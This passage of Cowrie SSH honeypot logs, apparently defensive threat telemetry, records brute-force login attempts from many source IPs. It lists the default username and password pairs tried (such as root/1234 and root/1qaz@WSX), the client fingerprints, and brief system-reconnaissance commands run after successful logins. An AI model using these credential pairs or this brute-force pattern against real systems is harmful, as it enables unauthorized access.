256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:43:42.386352Z","src_ip":"92.118.39.92","session":"48101b582dfc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1234","message":"login attempt [root/1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:43:42.696651Z","src_ip":"92.118.39.92","session":"48101b582dfc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:43:42.942209Z","src_ip":"92.118.39.92","session":"48101b582dfc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:43:42.945275Z","src_ip":"92.118.39.92","session":"48101b582dfc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:43:43.054276Z","src_ip":"92.118.39.92","session":"48101b582dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:43:43.058751Z","src_ip":"92.118.39.92","session":"48101b582dfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":41556,"dst_ip":"159.203.135.109","dst_port":22,"session":"1109037d1574","protocol":"ssh","message":"New connection: 157.10.160.98:41556 (159.203.135.109:22) [session: 1109037d1574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:43:50.779553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:43:50.783780Z","src_ip":"157.10.160.98","session":"1109037d1574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:43:51.034062Z","src_ip":"157.10.160.98","session":"1109037d1574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tsminst1","password":"tsminst1tsminst1","message":"login attempt [tsminst1/tsminst1tsminst1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:43:52.071144Z","src_ip":"157.10.160.98","session":"1109037d1574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:43:53.324246Z","src_ip":"157.10.160.98","session":"1109037d1574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":48666,"dst_ip":"159.203.135.109","dst_port":22,"session":"70c1863a9921","protocol":"ssh","message":"New connection: 103.234.53.173:48666 (159.203.135.109:22) [session: 70c1863a9921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:05.771103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:05.775347Z","src_ip":"103.234.53.173","session":"70c1863a9921","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:05.983029Z","src_ip":"103.234.53.173","session":"70c1863a9921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspacepassword","message":"login attempt [dspace/dspacepassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:06.846952Z","src_ip":"103.234.53.173","session":"70c1863a9921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:08.056783Z","src_ip":"103.234.53.173","session":"70c1863a9921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60846,"dst_ip":"159.203.135.109","dst_port":22,"session":"3036488e0f9c","protocol":"ssh","message":"New connection: 2.57.122.208:60846 (159.203.135.109:22) [session: 3036488e0f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:12.714435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:12.810447Z","src_ip":"2.57.122.208","session":"3036488e0f9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:12.852825Z","src_ip":"2.57.122.208","session":"3036488e0f9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:13.809575Z","src_ip":"2.57.122.208","session":"3036488e0f9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:15.020106Z","src_ip":"2.57.122.208","session":"3036488e0f9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52912,"dst_ip":"10.17.0.5","dst_port":22,"session":"26ce27828dfa","protocol":"ssh","message":"New connection: 195.178.110.218:52912 (10.17.0.5:22) [session: 26ce27828dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:20.641363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:20.645588Z","src_ip":"195.178.110.218","session":"26ce27828dfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:20.724948Z","src_ip":"195.178.110.218","session":"26ce27828dfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:20.965655Z","src_ip":"195.178.110.218","session":"26ce27828dfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:22.046954Z","src_ip":"195.178.110.218","session":"26ce27828dfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.212.226.17","src_port":65202,"dst_ip":"159.203.135.109","dst_port":22,"session":"9839dfea0579","protocol":"ssh","message":"New connection: 125.212.226.17:65202 (159.203.135.109:22) [session: 9839dfea0579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:48.420493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:48.425074Z","src_ip":"125.212.226.17","session":"9839dfea0579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:48.685580Z","src_ip":"125.212.226.17","session":"9839dfea0579","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:49.466435Z","src_ip":"125.212.226.17","session":"9839dfea0579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:44:49.727776Z","src_ip":"125.212.226.17","session":"9839dfea0579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.102.55.188","src_port":57814,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc90112eb60c","protocol":"ssh","message":"New connection: 39.102.55.188:57814 (159.203.135.109:22) [session: cc90112eb60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:11.923638Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:12.152669Z","src_ip":"39.102.55.188","session":"cc90112eb60c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":41022,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c4b40127910","protocol":"ssh","message":"New connection: 78.128.112.74:41022 (159.203.135.109:22) [session: 0c4b40127910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:23.747467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:23.901995Z","src_ip":"78.128.112.74","session":"0c4b40127910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:23.905665Z","src_ip":"78.128.112.74","session":"0c4b40127910","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"adminpass","message":"login attempt [root/adminpass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:24.455210Z","src_ip":"78.128.112.74","session":"0c4b40127910","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:24.717166Z","src_ip":"78.128.112.74","session":"0c4b40127910","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'SSH check'","message":"CMD: echo 'SSH check'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:24.719961Z","src_ip":"78.128.112.74","session":"0c4b40127910","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","size":10,"shasum":"96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:24.883298Z","src_ip":"78.128.112.74","session":"0c4b40127910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:24.887807Z","src_ip":"78.128.112.74","session":"0c4b40127910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":48854,"dst_ip":"159.203.135.109","dst_port":22,"session":"deab83362f08","protocol":"ssh","message":"New connection: 92.118.39.92:48854 (159.203.135.109:22) [session: deab83362f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:52.049556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:52.054736Z","src_ip":"92.118.39.92","session":"deab83362f08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:52.158856Z","src_ip":"92.118.39.92","session":"deab83362f08","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"12345","message":"login attempt [root/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:52.473084Z","src_ip":"92.118.39.92","session":"deab83362f08","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:52.708724Z","src_ip":"92.118.39.92","session":"deab83362f08","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:52.712330Z","src_ip":"92.118.39.92","session":"deab83362f08","protocol":"ssh"}
